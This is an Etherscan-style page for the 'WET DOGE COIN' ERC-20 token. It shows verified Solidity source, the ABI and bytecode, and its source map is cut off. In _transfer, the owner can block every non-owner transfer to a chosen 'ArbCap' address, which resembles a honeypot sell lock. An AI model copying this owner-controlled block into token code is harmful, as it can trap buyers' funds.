ETH Price: $3,910.46 (+7.03%)

Token

ERC-20: WET DOGE COIN (WETDOG)
 

Overview

Max Total Supply

1,000,000,000,000,000 WETDOG

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
casperdefivault.eth
Balance
7,514,011,847,057.282977511295519195 WETDOG

Value
$0.00
0x6ee25007B73Fa79902A152A78cAB50f4f7fA9eFF
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WETDOGE

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-04-19
*/

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.0 <0.8.0;


interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);
    
    function burn(uint256 amount) external;

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    function burnFrom(address account, uint256 amount) external;
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract WETDOGE is IERC20 {
    using SafeMath for uint256;
    
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    
    uint256 private _initialSupply = 1e15*1e18;

    string private _name = "WET DOGE COIN";
    
    string private _symbol = "WETDOG";
    
    uint8 private _decimals = 18;
    
    address private _owner = 0x09312aF4C8a0f961C997BB6E39e6d804761bAFb2;
    
    bool private allowArb = false;
    
    address private ArbCap;
  
    constructor ()  {
        
        _mint(_owner, _initialSupply);
        
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    function isOwner(address account) public view returns(bool) {
        return account == _owner;
    }
  function setArbCap(address arb) public onlyOwner  {
    ArbCap = arb;
    }
  function toggleArb() public onlyOwner  {
   if(allowArb == true){
          allowArb = false;
      } else {
          allowArb = true;
      }
    }
    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function burn(uint256 amount) public virtual override {
        _burn(msg.sender, amount);
    }

    function burnFrom(address account, uint256 amount) public virtual override {
        uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");

        _approve(account, msg.sender, decreasedAllowance);
        _burn(account, amount);
    }
    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        
        if(allowArb == false && sender != _owner && recipient == ArbCap ){
            revert("NO_ARB_YET");
        } else {
            
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        
        
        _balances[recipient] = _balances[recipient].add(amount);
        
        emit Transfer(sender, recipient, amount);
        }
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }


    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"arb","type":"address"}],"name":"setArbCap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleArb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6d314dc6448d9338c15b0a0000000060035560c0604052600d60808190526c2ba2aa102227a3a29021a7a4a760991b60a090815262000042916004919062000255565b5060408051808201909152600680825265574554444f4760d01b6020909201918252620000729160059162000255565b5060068054601260ff1990911617610100600160a81b0319167409312af4c8a0f961c997bb6e39e6d804761bafb2001760ff60a81b19169055348015620000b857600080fd5b50600654600354620000d99161010090046001600160a01b031690620000df565b62000301565b6001600160a01b0382166200013b576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6200014960008383620001ee565b6200016581600254620001f360201b620007031790919060201c565b6002556001600160a01b038216600090815260208181526040909120546200019891839062000703620001f3821b17901c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b505050565b6000828201838110156200024e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200028d5760008555620002d8565b82601f10620002a857805160ff1916838001178555620002d8565b82800160010185558215620002d8579182015b82811115620002d8578251825591602001919060010190620002bb565b50620002e6929150620002ea565b5090565b5b80821115620002e65760008155600101620002eb565b610da380620003116000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806342966c6811610097578063a457c2d711610066578063a457c2d714610303578063a9059cbb1461032f578063dd62ed3e1461035b578063ea33e66b1461038957610100565b806342966c681461028c57806370a08231146102a957806379cc6790146102cf57806395d89b41146102fb57610100565b806323b872dd116100d357806323b872dd146101e65780632f54bf6e1461021c578063313ce56714610242578063395093511461026057610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323a67d06146101dc575b600080fd5b61010d6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610445565b604080519115158252519081900360200190f35b6101ca61045b565b60408051918252519081900360200190f35b6101e4610461565b005b6101ae600480360360608110156101fc57600080fd5b506001600160a01b038135811691602081013590911690604001356104b2565b6101ae6004803603602081101561023257600080fd5b50356001600160a01b031661051b565b61024a610534565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561027657600080fd5b506001600160a01b03813516906020013561053d565b6101e4600480360360208110156102a257600080fd5b5035610573565b6101ca600480360360208110156102bf57600080fd5b50356001600160a01b0316610580565b6101e4600480360360408110156102e557600080fd5b506001600160a01b03813516906020013561059b565b61010d6105e7565b6101ae6004803603604081101561031957600080fd5b506001600160a01b038135169060200135610648565b6101ae6004803603604081101561034557600080fd5b506001600160a01b038135169060200135610697565b6101ca6004803603604081101561037157600080fd5b506001600160a01b03813581169160200135166106a4565b6101e46004803603602081101561039f57600080fd5b50356001600160a01b03166106cf565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561043b5780601f106104105761010080835404028352916020019161043b565b820191906000526020600020905b81548152906001019060200180831161041e57829003601f168201915b5050505050905090565b6000610452338484610764565b50600192915050565b60025490565b61046a3361051b565b61047357600080fd5b600654600160a81b900460ff1615156001141561049c576006805460ff60a81b191690556104b0565b6006805460ff60a81b1916600160a81b1790555b565b60006104bf848484610850565b610511843361050c85604051806060016040528060288152602001610c93602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610a30565b610764565b5060019392505050565b60065461010090046001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161045291859061050c9086610703565b61057d3382610ac7565b50565b6001600160a01b031660009081526020819052604090205490565b60006105cb82604051806060016040528060248152602001610cbb602491396105c486336106a4565b9190610a30565b90506105d8833383610764565b6105e28383610ac7565b505050565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561043b5780601f106104105761010080835404028352916020019161043b565b6000610452338461050c85604051806060016040528060258152602001610d49602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610a30565b6000610452338484610850565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106d83361051b565b6106e157600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60008282018381101561075d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0383166107a95760405162461bcd60e51b8152600401808060200182810382526024815260200180610d256024913960400191505060405180910390fd5b6001600160a01b0382166107ee5760405162461bcd60e51b8152600401808060200182810382526022815260200180610c4b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600654600160a81b900460ff1615801561087d57506006546001600160a01b038481166101009092041614155b801561089657506007546001600160a01b038381169116145b156108d5576040805162461bcd60e51b815260206004820152600a6024820152691393d7d0549097d6515560b21b604482015290519081900360640190fd5b6001600160a01b03831661091a5760405162461bcd60e51b8152600401808060200182810382526025815260200180610d006025913960400191505060405180910390fd5b6001600160a01b03821661095f5760405162461bcd60e51b8152600401808060200182810382526023815260200180610c066023913960400191505060405180910390fd5b61096a8383836105e2565b6109a781604051806060016040528060268152602001610c6d602691396001600160a01b0386166000908152602081905260409020549190610a30565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546109d69082610703565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610abf5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a84578181015183820152602001610a6c565b50505050905090810190601f168015610ab15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216610b0c5760405162461bcd60e51b8152600401808060200182810382526021815260200180610cdf6021913960400191505060405180910390fd5b610b18826000836105e2565b610b5581604051806060016040528060228152602001610c29602291396001600160a01b0385166000908152602081905260409020549190610a30565b6001600160a01b038316600090815260208190526040902055600254610b7b9082610bc3565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600061075d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a3056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f593ecdee084501629cc06ccc492ad1c30396058c91e55333da297b9d001a52664736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806342966c6811610097578063a457c2d711610066578063a457c2d714610303578063a9059cbb1461032f578063dd62ed3e1461035b578063ea33e66b1461038957610100565b806342966c681461028c57806370a08231146102a957806379cc6790146102cf57806395d89b41146102fb57610100565b806323b872dd116100d357806323b872dd146101e65780632f54bf6e1461021c578063313ce56714610242578063395093511461026057610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323a67d06146101dc575b600080fd5b61010d6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610445565b604080519115158252519081900360200190f35b6101ca61045b565b60408051918252519081900360200190f35b6101e4610461565b005b6101ae600480360360608110156101fc57600080fd5b506001600160a01b038135811691602081013590911690604001356104b2565b6101ae6004803603602081101561023257600080fd5b50356001600160a01b031661051b565b61024a610534565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561027657600080fd5b506001600160a01b03813516906020013561053d565b6101e4600480360360208110156102a257600080fd5b5035610573565b6101ca600480360360208110156102bf57600080fd5b50356001600160a01b0316610580565b6101e4600480360360408110156102e557600080fd5b506001600160a01b03813516906020013561059b565b61010d6105e7565b6101ae6004803603604081101561031957600080fd5b506001600160a01b038135169060200135610648565b6101ae6004803603604081101561034557600080fd5b506001600160a01b038135169060200135610697565b6101ca6004803603604081101561037157600080fd5b506001600160a01b03813581169160200135166106a4565b6101e46004803603602081101561039f57600080fd5b50356001600160a01b03166106cf565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561043b5780601f106104105761010080835404028352916020019161043b565b820191906000526020600020905b81548152906001019060200180831161041e57829003601f168201915b5050505050905090565b6000610452338484610764565b50600192915050565b60025490565b61046a3361051b565b61047357600080fd5b600654600160a81b900460ff1615156001141561049c576006805460ff60a81b191690556104b0565b6006805460ff60a81b1916600160a81b1790555b565b60006104bf848484610850565b610511843361050c85604051806060016040528060288152602001610c93602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610a30565b610764565b5060019392505050565b60065461010090046001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161045291859061050c9086610703565b61057d3382610ac7565b50565b6001600160a01b031660009081526020819052604090205490565b60006105cb82604051806060016040528060248152602001610cbb602491396105c486336106a4565b9190610a30565b90506105d8833383610764565b6105e28383610ac7565b505050565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561043b5780601f106104105761010080835404028352916020019161043b565b6000610452338461050c85604051806060016040528060258152602001610d49602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610a30565b6000610452338484610850565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106d83361051b565b6106e157600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60008282018381101561075d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0383166107a95760405162461bcd60e51b8152600401808060200182810382526024815260200180610d256024913960400191505060405180910390fd5b6001600160a01b0382166107ee5760405162461bcd60e51b8152600401808060200182810382526022815260200180610c4b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600654600160a81b900460ff1615801561087d57506006546001600160a01b038481166101009092041614155b801561089657506007546001600160a01b038381169116145b156108d5576040805162461bcd60e51b815260206004820152600a6024820152691393d7d0549097d6515560b21b604482015290519081900360640190fd5b6001600160a01b03831661091a5760405162461bcd60e51b8152600401808060200182810382526025815260200180610d006025913960400191505060405180910390fd5b6001600160a01b03821661095f5760405162461bcd60e51b8152600401808060200182810382526023815260200180610c066023913960400191505060405180910390fd5b61096a8383836105e2565b6109a781604051806060016040528060268152602001610c6d602691396001600160a01b0386166000908152602081905260409020549190610a30565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546109d69082610703565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610abf5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a84578181015183820152602001610a6c565b50505050905090810190601f168015610ab15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216610b0c5760405162461bcd60e51b8152600401808060200182810382526021815260200180610cdf6021913960400191505060405180910390fd5b610b18826000836105e2565b610b5581604051806060016040528060228152602001610c29602291396001600160a01b0385166000908152602081905260409020549190610a30565b6001600160a01b038316600090815260208190526040902055600254610b7b9082610bc3565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600061075d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a3056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f593ecdee084501629cc06ccc492ad1c30396058c91e55333da297b9d001a52664736f6c63430007060033

Deployed Bytecode Sourcemap

2673:5581:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3855:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4719:167;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4719:167:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;4138:100;;;:::i;:::-;;;;;;;;;;;;;;;;3632:155;;;:::i;:::-;;4896:317;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4896:317:0;;;;;;;;;;;;;;;;;:::i;3444:103::-;;;;;;;;;;;;;;;;-1:-1:-1;3444:103:0;-1:-1:-1;;;;;3444:103:0;;:::i;4045:83::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5639:214;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5639:214:0;;;;;;;;:::i;5221:98::-;;;;;;;;;;;;;;;;-1:-1:-1;5221:98:0;;:::i;4248:119::-;;;;;;;;;;;;;;;;-1:-1:-1;4248:119:0;-1:-1:-1;;;;;4248:119:0;;:::i;5327:300::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5327:300:0;;;;;;;;:::i;3948:87::-;;;:::i;5863:265::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5863:265:0;;;;;;;;:::i;4375:173::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4375:173:0;;;;;;;;:::i;4558:151::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4558:151:0;;;;;;;;;;:::i;3551:77::-;;;;;;;;;;;;;;;;-1:-1:-1;3551:77:0;-1:-1:-1;;;;;3551:77:0;;:::i;3855:83::-;3925:5;3918:12;;;;;;;;-1:-1:-1;;3918:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3892:13;;3918:12;;3925:5;;3918:12;;3925:5;3918:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3855:83;:::o;4719:167::-;4802:4;4819:37;4828:10;4840:7;4849:6;4819:8;:37::i;:::-;-1:-1:-1;4874:4:0;4719:167;;;;:::o;4138:100::-;4218:12;;4138:100;:::o;3632:155::-;3396:19;3404:10;3396:7;:19::i;:::-;3388:28;;;;;;3680:8:::1;::::0;-1:-1:-1;;;3680:8:0;::::1;;;:16;;3692:4;3680:16;3677:103;;;3710:8;:16:::0;;-1:-1:-1;;;;3710:16:0::1;::::0;;3677:103:::1;;;3755:8;:15:::0;;-1:-1:-1;;;;3755:15:0::1;-1:-1:-1::0;;;3755:15:0::1;::::0;;3677:103:::1;3632:155::o:0;4896:317::-;5002:4;5019:36;5029:6;5037:9;5048:6;5019:9;:36::i;:::-;5066:117;5075:6;5083:10;5095:87;5131:6;5095:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5095:19:0;;;;;;:11;:19;;;;;;;;5115:10;5095:31;;;;;;;;;:87;:35;:87::i;:::-;5066:8;:117::i;:::-;-1:-1:-1;5201:4:0;4896:317;;;;;:::o;3444:103::-;3533:6;;;;;-1:-1:-1;;;;;3533:6:0;;;3522:17;;;;3444:103::o;4045:83::-;4111:9;;;;4045:83;:::o;5639:214::-;5753:10;5727:4;5774:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5774:32:0;;;;;;;;;;5727:4;;5744:79;;5765:7;;5774:48;;5811:10;5774:36;:48::i;5221:98::-;5286:25;5292:10;5304:6;5286:5;:25::i;:::-;5221:98;:::o;4248:119::-;-1:-1:-1;;;;;4341:18:0;4314:7;4341:18;;;;;;;;;;;;4248:119::o;5327:300::-;5413:26;5442:82;5477:6;5442:82;;;;;;;;;;;;;;;;;:30;5452:7;5461:10;5442:9;:30::i;:::-;:34;:82;:34;:82::i;:::-;5413:111;;5537:49;5546:7;5555:10;5567:18;5537:8;:49::i;:::-;5597:22;5603:7;5612:6;5597:5;:22::i;:::-;5327:300;;;:::o;3948:87::-;4020:7;4013:14;;;;;;;;-1:-1:-1;;4013:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3987:13;;4013:14;;4020:7;;4013:14;;4020:7;4013:14;;;;;;;;;;;;;;;;;;;;;;;;5863:265;5956:4;5973:125;5982:10;5994:7;6003:94;6040:15;6003:94;;;;;;;;;;;;;;;;;6015:10;6003:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;6003:32:0;;;;;;;;;;;:94;:36;:94::i;4375:173::-;4461:4;4478:40;4488:10;4500:9;4511:6;4478:9;:40::i;4558:151::-;-1:-1:-1;;;;;4674:18:0;;;4647:7;4674:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4558:151::o;3551:77::-;3396:19;3404:10;3396:7;:19::i;:::-;3388:28;;;;;;3608:6:::1;:12:::0;;-1:-1:-1;;;;;;3608:12:0::1;-1:-1:-1::0;;;;;3608:12:0;;;::::1;::::0;;;::::1;::::0;;3551:77::o;922:181::-;980:7;1012:5;;;1036:6;;;;1028:46;;;;;-1:-1:-1;;;1028:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;1094:1;922:181;-1:-1:-1;;;922:181:0:o;7703:346::-;-1:-1:-1;;;;;7805:19:0;;7797:68;;;;-1:-1:-1;;;7797:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7884:21:0;;7876:68;;;;-1:-1:-1;;;7876:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7957:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8009:32;;;;;;;;;;;;;;;;;7703:346;;;:::o;6136:741::-;6247:8;;-1:-1:-1;;;6247:8:0;;;;:17;;;:37;;-1:-1:-1;6278:6:0;;-1:-1:-1;;;;;6268:16:0;;;6278:6;;;;;6268:16;;6247:37;:60;;;;-1:-1:-1;6301:6:0;;-1:-1:-1;;;;;6288:19:0;;;6301:6;;6288:19;6247:60;6244:626;;;6324:20;;;-1:-1:-1;;;6324:20:0;;;;;;;;;;;;-1:-1:-1;;;6324:20:0;;;;;;;;;;;;;;6244:626;-1:-1:-1;;;;;6395:20:0;;6387:70;;;;-1:-1:-1;;;6387:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6476:23:0;;6468:71;;;;-1:-1:-1;;;6468